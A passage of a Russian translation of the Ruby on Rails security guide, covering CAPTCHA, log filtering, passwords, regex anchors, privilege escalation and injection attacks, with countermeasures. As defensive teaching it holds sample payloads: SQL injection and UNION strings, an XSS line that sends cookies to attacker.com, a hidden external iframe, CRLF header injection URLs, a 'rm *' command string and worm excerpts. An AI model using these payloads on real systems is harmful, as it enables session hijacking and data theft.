В зависимости от вашего веб приложения, могут быть другие способы взломать аккаунт пользователя. Во многих случаях CSRF и XSS способствуют этому. Как пример, уязвимость CSRF в Google Mail. В этой прототипной атаке жертва могла быть заманена на сайт злоумышленника. На этом сайте создавался тег IMG, который приводил к HTTP запросу GET, который изменял настройки фильтра Google Mail. Если жертва была авторизована на Google Mail, злоумышленник могу изменить фильтры для перенаправления всех писем на его e-mail. Это почти так же вредно, как и полный взлом аккаунта. Как контрмера, пересмотрите логику своего приложения и устраните все уязвимости XSS и CSRF.

6.3. CAPTCHA

CAPTCHA - это тест вызова-ответа для определения, что ответ не создан компьютером. Она часто используется для защиты регистрационных форм от атакующих и форм комментирования от автоматических спам-ботов, требуя от пользователя написать буквы на искаженном изображении. Это положительная CAPTCHA, но есть еще и отрицательная CAPTCHA. Идея отрицательной CAPTCHA не просить пользователей доказать, что они люди, а показать, что робот является роботом.

Популярной CAPTCHA API является reCAPTCHA, которая отображает два искаженных изображения слов из старых книг. Она также добавляет линию под углом, а не искаженный фон или высокий уровень деформации текста, как делали раньше CAPTCHA, так как они были сломаны. Дополнительно, использование reCAPTCHA помогает оцифровать старые книги. ReCAPTCHA это также плагин Rails с тем же именем, как и API.

Вы получаете два ключа из API, открытый и секретный ключ, которые помещаете в свою среду Rails. После этого можете использовать метод recaptcha_tags во вьюхе и метод verify_recaptcha в контроллере. verify_recaptcha возвратит false, если валидация провалится. Есть проблема с CAPTCHA, они оказывают негативное влияние на пользователя. Кроме того, некоторые слабовидящие пользователи найдут искаженные CAPTCHA неудобочитаемыми. Но все-таки, положительные CAPTCHA являются одним из лучших методов предотвращения отправки форм различными ботами.

Большинство ботов реально тупые. Они ползают по вебу и кладут свой спам в каждое поле формы, какое только находят. Отрицательная CAPTCHA берет преимущество в этом и включает поле "соблазна" в форму, которое скрыто от человека с помощью CSS или JavaScript.

Обратите внимание, что отрицательные CAPTCHA эффективны только против тупых ботов, и этого будет недостаточно для защиты критически важных приложений от нацеленных ботов. И все-таки, отрицательные и положительные CAPTCHA могут быть объединены для улучшения производительности, например, если поле "соблазна" не пустое (обнаружен бот), вам не нужно будет проверять положительные CAPTCHA, которые требуют HTTPS запрос к сервису Google ReCaptcha перед вычислением ответа.

Вот несколько идей, как спрятать поля соблазна с помощью JavaScript и/или CSS:

  • расположить поля за пределами видимой области страницы
  • сделать элементы очень маленькими или цветом таким же, как фон страницы
  • оставить поля отображаемыми, но сказать людям оставить их пустыми

Наиболее простой отрицательной CAPTCHA является одно скрытое поле соблазна. На серверной стороне проверяется значение поля: если оно содержит текст, значит это бот. Затем можно или игнорировать сообщение, или вернуть положительный результат, но не сохранять сообщение в базу данных. Это, возможно, удовлетворит бота и он пойдет дальше. То же самое можно делать с надоедливыми пользователями.

Более сложные отрицательные CAPTCHA рассмотрены в блоге Ned Batchelder:

  • Включить поле с текущей временной меткой UTC в нем и проверить его на сервере. Если оно слишком близко в прошлом, форма невалидна.
  • Рандомизировать имена полей
  • Включить более одного поля соблазна всех типов, включая кнопки подтверждения

Отметьте, что это защитит только от автоматических ботов, специально изготовленные боты не могут быть этим остановлены. Поэтому отрицательная CAPTCHA не может хорошо защитить формы входа.

6.4. Логирование

Скажите Rails не помещать пароли в файлы логов.

По умолчанию Rails логирует все запросы, сделанные к веб приложению. Но файлы логов могут быть большим вопросом безопасности, поскольку они могут содержать личные данные логина, номера кредитных карт и так далее. При разработке концепции безопасности веб приложения также необходимо думать о том, что случится, если злоумышленник получит (полный) доступ к веб серверу. Шифрование секретных данных и паролей будут совершенно бесполезным, если файлы лога отображают их чистым текстом. Можете фильтровать некоторые параметры запроса в ваших файлах лога, присоединив их к config.filter_parameters в конфигурации приложения. Эти параметры будут помечены [FILTERED] в логе.

config.filter_parameters << :password

Предоставленные параметры будут отфильтрованы по частичному соответствию регулярному выражению. Rails по умолчанию добавляет :password в соответствующий инициализатор (initializers/filter_parameter_logging.rb) и заботится об обычных параметрах приложения password и password_confirmation.

6.5. Хорошие пароли

Думаете, что сложно запомнить все свои пароли? Не записывайте их, а используйте первые буквы каждого слова в легко запоминающее выражение.

Bruce Schneier, технолог по безопасности, проанализировал 34,000 имен и паролей реальных пользователей во время фишинговой атаки на MySpace, упомянутой ранее. 20 наиболее распространенных паролей следующие:

password1, abc123, myspace1, password, blink182, qwerty1, fuckyou, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, и monkey.

Интересно, что только 4% из этих паролей были словарными словами и абсолютное большинство было буквенно-цифровое. Однако, словари паролей взломщика содержат большое количество современных паролей, и они пробуют все буквенно-цифровые комбинации. Если злоумышленник знает ваше имя пользователя, и вы используете слабый пароль, ваш аккаунт будет легко взломан.

Хороший пароль представляет собой длинную буквенно-цифровую комбинацию в различном регистре. Так как это трудно запомнить, советуется вводить только первые буквы выражения, которое вы можете легко запомнить. Например, "The quick brown fox jumps over the lazy dog" будет "Tqbfjotld". Отметьте, что это всего лишь пример, не стоит использовать известные фразы, наподобие этой, так как они могут также появиться в словарях взломщиков.

6.6. Регулярные выражения

Распространенная ошибка в регулярных выражениях Ruby в том, что проверяется соответствие начала и конца строки с помощью ^ и $, вместо \A и \z.

Ruby использует немного отличающийся от многих языков программирования подход в соответствии концу и началу строки. Поэтому даже много литературы по Ruby и Rails допускают такую ошибку. Так как же это влияет на безопасность? Скажем, вы хотите по-быстрому проверить поле URL и используете подобное простое регулярное выражение:

  /^https?:\/\/[^\n]`$/i

В некоторых языках это сработает хорошо. Однако, в Ruby ^ и $ соответствуют началу и концу строчки. И, таким образом, следующий URL пройдет фильтр без проблем:

javascript:exploit_code();/*
http://hi.com
*/

Этот URL пройдет фильтр, поскольку он соответствует регулярному выражению – вторая строчка, остальное не имеет значения. Теперь представим, что у нас во вьюхе этот URL выводится следующим образом:

  link_to "Homepage", @user.homepage

Для посетителя ссылка выглядит невинно, но при ее нажатии, она запустит Javascript функцию "exploit_code" или любой другой представленный злоумышленником скрипт.

Для починки регулярного выражения должны использоваться \A и \z вместо ^ и $, следующим образом:

  /\Ahttps?:\/\/[^\n]+\z/i

Поскольку это частая ошибка, теперь валидатор формата (validates_format_of) вызывает исключение, если представленное регулярное выражение начинается с ^ или заканчивается на $. Если вам необходимо использовать ^ и $ вместо \A и \z (что является редкостью), можно установить опцию :multiline в true, следующим образом:

  # содержимое должно содержать строчку "Meanwhile" где-то в строке
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

Отметьте, что это защищает вас только против наиболее распространенной ошибки при использовании валидатора формата - нужно всегда держать в уме, что ^ и $ соответствуют началу и концу строчки в Ruby, а не началу и концу строки.

6.7. Расширение привилегий

Изменение единственного параметра может дать пользователю неавторизованный доступ. Помните, что каждый параметр может быть изменен, независимо от того, как вы спрятали или завуалировали его.

Наиболее общий параметр, в который может вмешиваться пользователь, это параметр id, как в http://www.domain.com/project/1, где 1 это id. Он будет доступен в params в контроллере. Там вы скорее всего сделаете что-то подобное:

@project = Project.find(params[:id])

Это нормально для большинства приложений, но безусловно нет, если пользователь не авторизован для просмотра всех проектов. Если пользователь изменяет id на 42, и ему не позволено видеть эту информацию, он в любом случае получит к ней доступ. Вместо этого, также запрашивайте права доступа пользователя:

@project = @current_user.projects.find(params[:id])

В зависимости от вашего веб приложения, может быть много параметров, в которые может вмешиваться пользователь. Как правило, не вводимые пользователем данные безопасны, пока не доказано обратное, и каждый параметр от пользователя потенциально подтасован.

Не заблуждайтесь о безопасности при обфускации и безопасности JavaScript. Инструменты разработчика позволяют вам предварительно смотреть и изменять все скрытые поля формы. JavaScript может использоваться для проверки пользовательских данных, но только не для предотвращения злоумышленников от отсылки злонамеренных запросов с неожидаемыми значениями. Плагин Firebug для Mozilla Firefox логирует каждый запрос и может повторить и изменить его. Это простой способ обойти любые валидации JavaScript. А еще есть даже прокси на стороне клиента, которые позволяют перехватывать любой запрос и отклик из Интернет.

7. Инъекции

Инъекции - это класс атак, внедряющий злонамеренный код или параметры в веб приложение для запуска их вне контекста безопасности. Известными примерами инъекций являются межсайтовый скриптинг (XSS) и SQL инъекции.

Инъекции очень запутанные, поскольку тот же код или параметр может быть злонамеренным в одном контексте, но абсолютно безвредным в другом. Контекстом может быть сценарий, запрос или язык программирования, оболочка или метод Ruby/Rails. Следующие разделы раскроют все важные контексты, где могут произойти атаки в форме инъекций. Первый раздел, однако, раскроет архитектурное решение в связи с инъекцией.

7.1. Белые списки против черных списков

При экранировании, защите или верификации чего-либо, предпочитайте белые списки над черными списками.

Черный список может быть перечнем плохих адресов e-mail, непубличных действий или плохих тегов HTML. Этому противопоставляется белый список хороших адресов e-mail, публичных действий, хороших тегов HTML и так далее. Хотя иногда невозможно создать белый список (в фильтре спама, например), предпочтительнее использовать подходы белого списка:

  • Используйте before_action except: [...] вместо only: [...] для экшенов, связанных с безопасностью. Таким образом, вы не забудете включить проверки безопасности для вновь добавляемых экшенов.
  • Разрешите <strong> вместо удаления <script> против кроссайтового скриптинга (XSS). Подробнее об этом ниже.
  • Не пытайтесь править пользовательские данные с помощью черных списков:
    • Это позволит сработать атаке: "<sc<script>ript>".gsub("<script>", "")
    • Но отвергнет неправильный ввод

Белые списки также хороший подход против человеческого фактора в забывании чего-либо в черном списке.

7.2. SQL инъекции

Благодаря умным методам, это вряд ли является проблемой в большинстве приложений на Rails. Однако, это очень разрушительная и обычная атака на веб приложения, поэтому важно понять проблему.

7.2.1. Введение

Цель атаки в форме SQL инъекции - сделать запросы к базе данных, манипулируя с параметрами приложения. Популярная цель атак в форме SQL инъекций - обойти авторизацию. Другой целью является осуществление манипуляции с данными или чтение определенных данных. Вот пример, как не следует использовать пользовательские данные в запросе:

Project.where("name = '#{params[:name]}'")

Это может быть экшен поиска и пользователь может ввести имя проекта, который он хочет найти. Если злонамеренный пользователь введет ' OR 1 --, результирующим SQL запросом будет:

SELECT * FROM projects WHERE name = '' OR 1 --'

Два тире начинают комментарий, игнорирующий все после него. Таким образом, запрос вернет все записи из таблицы projects, включая те, которые недоступны пользователю. Так случилось, поскольку условие истинно для всех записей.

7.2.2. Обход авторизации

Обычно веб приложения включают контроль доступа. Пользователь вводит свои полномочия входа, веб приложение пытается найти соответствующую запись в таблице пользователей. Приложение предоставляет доступ, когда находит запись. Однако, злоумышленник возможно сможет обойти эту проверку с помощью SQL инъекции. Следующее показывает типичный запрос к базе данных в Rails для поиска первой записи в таблице users, которая соответствует параметрам полномочий входа, предоставленных пользователем.

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")

Если злоумышленник введет ' OR '1'='1 как имя и ' OR '2'>'1 как пароль, результирующий запрос SQL будет:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Это просто найдет первую запись в базе данных и предоставит доступ этому пользователю.

7.2.3. Неавторизованное чтение

Выражение UNION соединяет два запроса SQL и возвращает данные одним набором. Злоумышленник может использовать это, чтобы прочитать произвольную информацию из базы данных. Давайте рассмотрим вышеописанный пример:

Project.where("name = '#{params[:name]}'")

Теперь позволим внедрить другой запрос, использующий выражение UNION:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

Это приведет к следующему запросу SQL:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

Результатом будет не список проектов (поскольку нет проектов с пустым именем), а список имен пользователя и их пароли. Поэтому надеемся, что вы шифруете пароли в базе данных! Единственной проблемой для злоумышленника может быть то, что число столбцов должно быть равное в обоих запросах. Вот почему второй запрос включает список единичек (1), который всегда будет иметь значение 1, чтобы количество столбцов соответствовало первому запросу.

Также второй запрос переименовывает некоторые столбцы выражением AS, чтобы веб приложение отображало значения из таблицы users. Убедитесь, что обновили свой Rails как минимум до 2.1.1.

7.2.4. Контрмеры

В Ruby on Rails есть встроенный фильтр для специальных символов SQL, который экранирует ' , " , символ NULL и разрыв строки. Использование Model.find(id) или Model.find_by_some thing(something) автоматически применяет эту контрмеру. Но в фрагментах SQL, особенно в фрагментах условий (where("...")), методах connection.execute() или Model.find_by_sql(), это должно быть применено вручную.

Вместо передачи строки в опцию conditions, можете передать массив, чтобы экранировать испорченные строки, подобно этому:

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

Как видите, первая часть массива это фрагмент SQL с знаками вопроса. Экранируемые версии переменных во второй части массива заменяют знаки вопроса. Или можете передать хэш с тем же результатом:

Model.where(login: entered_user_name, password: entered_password).first

Форма массива или хэша доступна только в экземплярах модели. В других местах используйте sanitize_sql(). Введите в привычку думать о последствиях безопасности, когда используете внешние строки в SQL.

7.3. Межсайтовый скриптинг (XSS)

Наиболее распространенная и одна из наиболее разрушительных уязвимостей в веб приложениях - это XSS. Данная вредоносная атака внедряет на стороне клиента исполняемый код. Rails предоставляет методы для защиты от этих атак.

7.3.1. Точки входа

Точка входа - это уязвимый URL и его параметры, с которых злоумышленник может начать атаку.

Наиболее распространенными точками входа являются публикации сообщений, комментарии пользователей и гостевые книги, но заголовки проектов, имена документов и страницы результата поиска также бывают уязвимы - почти везде, где пользователь может ввести данные. Но ввод не обязательно может прийти из полей ввода на веб сайтах, это может быть любой параметр URL – очевидный, скрытый или внутренний. Помните, что пользователь может перехватить любой трафик. Приложения или клиентские прокси могут легко изменить запросы. Также имеются иные направления атак, такие как баннерная реклама.

Атаки XSS работают подобным образом: злоумышленник встраивает некоторый код, веб приложение сохраняет его и отображает на странице, после чего представляет его жертве. Большинство примеров XSS просто отображают сообщение, но реальные возможности гораздо мощнее. XSS может своровать куки, похитить сессию, перенаправить жертву на фальшивый веб-сайт, отобразить рекламу, полезную злоумышленнику, изменить элементы на веб странице, чтобы получить конфиденциальную информацию или установить вредоносное программное обеспечение, используя дыры в веб браузере.

Во второй половине 2007 года выявлено 88 уязвимостей в браузерах Mozilla, 22 в Safari, 18 в IE и 12 в Opera. Symantec Global Internet Security threat report также задокументировал 239 уязвимостей плагинов для браузеров в последние шесть месяцев 2007 года. Mpack очень активный и регулярно обновляемый фреймворк злоумышленников, который использует эти уязвимости. Для преступных хакеров очень привлекательно использовать уязвимость к SQL-инъекциям в фреймворке веб приложения и вставлять вредоносный код в каждый текстовый столбец таблицы. В апреле 2008 года более 510,000 сайтов были взломаны подобным образом, в том числе Британского правительства, ООН и многих других высокопоставленных организаций.

7.3.2. HTML/JavaScript инъекции

Наиболее распространенным языком для XSS является, конечно, наиболее популярный клиентский скриптовый язык JavaScript, часто в сочетании с HTML. Экранирование пользовательского ввода необходимо.

Вот самый простой тест для проверки на XSS:

<script>alert('Hello');</script>

Этот код JavaScript просто отображает сообщение. Следующие примеры делают примерно то же самое, но в очень необычных местах:

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">

7.3.2.1. Похищение куки

Пока эти примеры не делали никакого вреда, поэтому давайте посмотрим, как злоумышленник может похитить куки пользователя (и, таким образом, похитить пользовательскую сессию). В JavaScript можно использовать свойство document.cookie для чтения и записи куки документа. JavaScript обеспечивает политику ограничения домена, которая означает, что скрипт с одного домена не может получить доступ к куки другого домена. Свойство document.cookie содержит куки создавшего веб сервера. Однако это свойство можно прочитать и записать, если внедрите код непосредственно в документ HTML (как это происходит в XSS). Введите это где-нибудь в своем веб приложении, чтобы увидеть собственные куки на результирующей странице:

<script>document.write(document.cookie);</script>

Для злоумышленника, разумеется, бесполезно, что жертва видит свои куки. Следующий пример пытается загрузить изображение с URL http://www.attacker.com/ плюс куки. Конечно, этот URL не существует, поэтому браузер ничего не отобразит. Но злоумышленник сможет просмотреть логи доступа к своему веб серверу, чтобы увидеть куки жертв.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

Лог файлы на www.attacker.com будут подобны следующему:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Можно смягчить эти атаки (очевидным способом) добавив к куки флаг httpOnly, таким образом, document.cookie не сможет быть прочитан JavaScript. Http only куки могут использоваться начиная с IE v6.SP1, Firefox v2.0.0.5 и Opera 9.5, Safari 4 и Chrome 1.0.154 и выше. Но другие, более старые браузеры (такие как WebTV и IE 5.5 on Mac) могут фактически отказаться загружать страницу. Однако, будьте осторожны, что куки все еще видны при использовании Ajax.

7.3.2.2. Искажение

Исказив веб страницу, злоумышленник сможет сделать многое, например, предоставить ложную информацию или завлечь жертву на сайт злоумышленника, чтобы украсть куки, регистрационные данные или другую деликатную информацию. Наиболее популярным способом является включение кода с внешних источников с помощью iframe:

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>

Это загрузит произвольный HTML и/или JavaScript с внешнего источника и внедрит его, как часть сайта. Этот iframe взят из настоящей атаки на правительственные итальянские сайты с использованием Mpack attack framework. Mpack пытается установить злонамеренное программное обеспечение через дыры безопасности в веб браузере – очень успешно, 50% атак успешны.

Более специализированные атаки могут накрывать целые веб сайты или отображать форму входа, которая выглядит как такая же на оригинальном сайте, но передает имя пользователя и пароль на сайт злоумышленников. Или могут использовать CSS и/или JavaScript, чтобы спрятать настоящую ссылку в веб приложении, и отобразить на ее месте другую, которая перенаправит на фальшивый веб сайт.

Атаки в форме искажающих инъекций являются такими, что основная загрузка не хранится, а предоставляется жертве позже, но включена в URL. Особенно в формах поиска не получается экранировать строку поиска. Следующая ссылка представляет страницу, озаглавленную "George Bush appointed a 9 year old boy to be the chairperson...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--

7.3.2.3. Контрмеры

Очень важно отфильтровывать злонамеренный ввод, но также важно экранировать вывод в веб приложении.

Особенно для XSS, важно делать фильтрацию ввода с помощью белого списка, а не черного. Фильтрация белым списком устанавливает допустимые значения, остальные значения недопустимы. Черные списки всегда не законченные.

Предположим, черный список удаляет "script" из пользовательского ввода. Теперь злоумышленник встраивает "<scrscriptipt>", и после фильтра остается "<script>". Ранние версии Rails использовали подход черного списка для методов strip_tags(), strip_links() и sanitize(). Поэтому такой сорт инъекций был возможен:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

Это возвратит "some<script>alert('hello')</script>", что позволит осуществиться атаке. Вот почему подход белого списка лучше при использовании метода Rails 2 sanitize():

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

Это допустит только заданные теги и сделает все хорошо, даже против всех ухищрений и злонамеренных тегов.

В качестве второго шага, хорошо экранировать весь вывод в приложении, особенно при отображении пользовательского ввода, который не был отфильтрован при вводе (как в примере выше). Используйте метод escapeHTML() (или его псевдоним h()), чтобы заменить введенные символы HTML &, ", <, > их неинтерпретируемыми представителями в HTML (&amp;, &quot;, &lt;, and &gt;). Однако, может случиться так, что программист забудет это сделать, поэтому рекомендуется использовать гем SafeErb. SafeErb напоминает экранировать строки из внешних источников.

7.3.2.4. Обфусцированная и закодированная инъекция

Сетевой трафик главным образом основан на ограниченном Западном алфавите, поэтому новые кодировки символов, такие как Unicode, возникли для передачи символов на других языках. Но это также угроза для веб приложений, так как злонамеренный код может быть спрятан в различных кодировках, так что веб браузер сможет его выполнить, а веб приложение нет. Вот направление атаки в кодировке UTF-8:

<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>

Этот пример вызывает окно сообщения. Хотя это распознается фильтром sanitize(). Хорошим инструментом для обфускации и кодирования строк (знайте своего врага!) является Hackvertor. Метод Rails sanitize() работает хорошо, отражая закодированные атаки.

Чтобы понять сегодняшние атаки на веб приложения, лучше взглянуть на некоторые реальные направления атаки.

Ниже приведена выдержка из Js.Yamanner@m Yahoo! почтовый червь. Он появился 11 июня 2006 года и был первым червем для почтового интерфейса:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

Черви использовали дыру в фильтре HTML/JavaScript Yahoo, который обычно фильтровал все атрибуты target и onload из тегов (потому что там мог быть JavaScript). Однако фильтр применялся только раз, поэтому атрибут onload с кодом червя оставался. Это хороший пример, почему фильтры черного списка никогда не полные, и почему трудно позволить HTML/JavaScript в веб приложении.

Другой прототипный веб-почтовый червь Nduja, кроссдоменный червь для четырех итальянских веб-почтовых сервисов. Более детально описано в статье Rosario Valotta. Оба почтовых червя имели целью собрать почтовые адреса, на чем преступный хакер мог сделать деньги.

В декабре 2006 года 34,000 имени фактических пользователей и их пароли были похищены во время фишинговой атаки на MySpace. Идеей атаки было создание профиля, названного "login_home_index_html", поэтому URL выглядел очень правдоподобно. Специально созданный HTML и CSS использовался, чтобы скрыть настоящий контент MySpace и вместо этого отразить собственную форму входа.

7.4. CSS инъекция

CSS инъекция - это фактически JavaScript инъекция, поскольку некоторые браузеры (IE, некоторые версии Safari и другие) разрешают JavaScript в CSS. Подумайте дважды о допустимости пользовательского CSS в вашем веб приложении.

CSS инъекция лучше всего объясняется известным червем MySpace Samy. Этот червь автоматически рассылал предложение дружбы с Samy (злоумышленником), просто посетив его профиль. В течение нескольких часов он сделал свыше 1 миллиона запросов дружбы, но создал так много трафика, что MySpace ушел в оффлайн. Ниже следует техническое объяснение червя.

MySpace блокировал много тегов, но позволял CSS. Поэтому автор червя поместил JavaScript в CSS следующим образом:

<div style="background:url('javascript:alert(1)')">

Таким образом загрузка происходила через атрибут стиля. Но в загрузке не допустимы кавычки, так как одинарные и двойные кавычки уже были использованы. Но в JavaScript имеется удобная функция eval(), которая выполняет любую строку как код.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

Функция eval() - это кошмар для фильтров ввода на основе черного списка, так как она позволяет атрибуту стиля спрятать слово "innerHTML":

alert(eval('document.body.inne' + 'rHTML'));

Следующей проблемой было то, что MySpace фильтровал слово "javascript", поэтому автор использовал "java<NEWLINE>script" чтобы обойти это:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">

Следующей проблемой для автора червя были токены безопасности CSRF. Без них он не смог бы послать запросы дружбы через POST. Он обошел это, посылая GET на страницу перед добавлением пользователя и парся результат на токен CSRF.

В итоге он получил 4 KB червя, которого внедрил в свою страницу профиля.

Свойство moz-binding CSS предоставляет другой способ внедрить JavaScript в CSS в основанных на Gecko браузерах (Firefox, к примеру).

7.4.1. Контрмеры

Этот пример снова показывает, что фильтр на основе черного списка никогда не полон. Однако, так как пользовательский CSS в веб приложениях достаточно редкая особенность, трудно найти хороший фильтр CSS на основе белого списка. Если хотите разрешить пользовательские цвета или картинки, разрешите выбрать их и создайте CSS в веб приложении. Используйте метод Rails sanitize() как модель для фильтра CSS на основе белого списка, если это действительно нужно.

7.5. Инъекция Textile

Если хотите предоставить форматирование текста иное, чем HTML (для безопасности), используйте разметочный язык, конвертируемый в HTML на сервере. RedCloth - это такой язык для Ruby, но без мер предосторожности он также уязвим к XSS.

Например, RedCloth переводит _test_ в <em>test<em>, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите новую версию 4, в которой устранены серьезные баги. Однако даже эта версия имела (на момент написания статьи) несколько багов безопасности, поэтому контрмеры только принимались. Вот пример для версии 3.0.4:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

Используем опцию :filter_html, чтобы устранить HTML, который не был создан процессором Textile.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

Однако, это не отфильтрует весь HTML, некоторые теги останутся (преднамеренно), например <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

7.5.1. Контрмеры

Рекомендуется использовать RedCloth в сочетании с фильтром ввода на основе белого списка, как описано в разделе о контрмерах против XSS.

7.6. Ajax инъекции

Те же меры безопасности должны быть приняты для экшенов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшен не рендерит вьюху.

Если используете плагин in_place_editor или экшены, возвращающие строку, а не рендерите вьюху, нужно экранировать возвращаемое значение в экшене. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода h().

7.7. Инъекции командной строки

Используйте предоставленные пользователем параметры командной строки с предосторожностью

Если ваше приложение запускает команды в лежащей в основе операционной системе, имеется несколько методов в Ruby: exec(command), syscall(command), system(command) и command. Вы должны быть особенно осторожны с этими функциями, если пользователь может вводить целые команды или часть их. Это так, потому что во многих оболочках можно запускать другую команду в конце первой, разделяя их точкой с запятой (;) или вертикальной чертой (|).

Контрмерой является использование метода system(command, parameters), который передает параметры командной строки безопасно.

system("/bin/echo","hello; rm *")
# напечатает "hello; rm *" и не удалит файлы

7.8. Инъекция заголовка

Заголовки HTTP динамически создаются и при определенных обстоятельствах могут быть изменены пользовательским вводом. Это может привести к ложному перенаправлению, XSS или разделению HTTP отклика (HTTP response splitting).

Заголовки запроса HTTP имеют поля Referer, User-Agent (клиентское ПО) и Cookie, среди прочих. Заголовки отклика, к примеру, имеют код статуса, Cookie и Location (цель перенаправления на URL). Все они предоставлены пользователем и могут быть манипулированы с большими или меньшими усилиями. Не забывайте экранировать эти поля заголовка тоже. Например, когда Вы отображаете user agent в администраторской зоне.

Кроме того, важно знать, что делаете, когда создаете заголовки отклика, частично основанные на пользовательском вводе. Например, вы хотите перенаправить пользователя на определенную страницу. Для этого вы представили поле "referer" в форме для перенаправления на заданный адрес:

redirect_to params[:referer]

Что произойдет, если Rails поместит строку в заголовок Location и пошлет статус 302 (redirect) браузеру. Первое, что сделает злонамеренный пользователь, это:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

И благодаря багу в (Ruby и) Rails до версии 2.1.2 (исключая ее), хакер может внедрить произвольные поля заголовка; например, так:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:`Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:`http://www.malicious.tld

Отметьте, что "%0d%0a" это URL-код для "\r\n", являющиеся возвратом каретки и новой строкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

Таким образом, направления атаки для инъекции заголовка основаны на инъекции символов CRLF в поле заголовка. И что сможет сделать злоумышленник с ложным перенаправлением? Он сможет перенаправить на фишинговый сайт, который выглядит так же, как ваш, но просит заново авторизоваться (и посылает регистрационные данные злоумышленнику). Или он сможет установить злонамеренное ПО, используя дыры в безопасности браузера на этом сайте. Rails 2.1.2 экранирует эти символы для поля Location в методе redirect_to. Убедитесь, что вы делаете то же самое, когда создаете другие поля заголовка на основе пользовательского ввода.

7.8.1. Разделение отклика

Если инъекция заголовка была возможна, то разделение отклика также возможно. В HTTP блок заголовка заканчивается двумя CRLF, затем идут сами данные (обычно HTML). Идея разделения отклика состоит во внедрении двух CRLF в поле заголовка, после которых следует другой отклик со злонамеренным HTML. Отклик будет таким:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

При определенных обстоятельствах это сможет отобразить зловредный HTML жертве. Однако, это будет работать только с соединениями Keep-Alive (а многие браузеры используют одноразовые соединения). Но нельзя на это полагаться. В любом случае, это серьезный баг, и следует обновить Rails до версии 2.0.5 или 2.1.2, чтобы устранить риски инъекции заголовка (и поэтому разделения отклика).

8. Небезопасная генерация запросов

Благодаря способу, которым Active Record интерпретирует параметры, в сочетании со способом, которым Rack парсит параметры запроса, было возможным осуществить неожидаемые запросы в базу данных с условием IS NULL. В качестве ответа на этот вопрос безопасности (CVE-2012-2660, CVE-2012-2694 и CVE-2013-0155) был представлен метод deep_munge в качестве решения, чтобы Rails оставался безопасным по умолчанию.

Пример уязвимого кода, который мог быть использован злоумышленником, если бы не был выполнен deep_munge:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

Когда params[:token] один из: [nil], [nil, nil, ...] или ['foo', nil], он прошел бы проверку на nil, но выражение условия IS NULL или IN ('foo', NULL) все еще было бы добавлено в запрос SQL.

Чтобы сохранить Rails безопасным по умолчанию, deep_munge заменяет некоторые значения на nil. Нижеследующая таблица показывает, как выглядят параметры, основываясь на запросе JSON:

JSON Параметры
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

Можно вернуть старое поведение и отключить deep_munge, cконфигурировав ваше приложение, если вы знаете об этом риске и знаете, как им управлять:

config.action_dispatch.perform_deep_munge = false

9. Заголовки по умолчанию

Каждый отклик HTTP от приложения Rails получает следующие заголовки безопасности по умолчанию.

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '1; mode=block',
  'X-Content-Type-Options' => 'nosniff'
}

Можно настроить заголовки по умолчанию в config/application.rb.

config.action_dispatch.default_headers = {
  'Header-Name' => 'Header-Value',
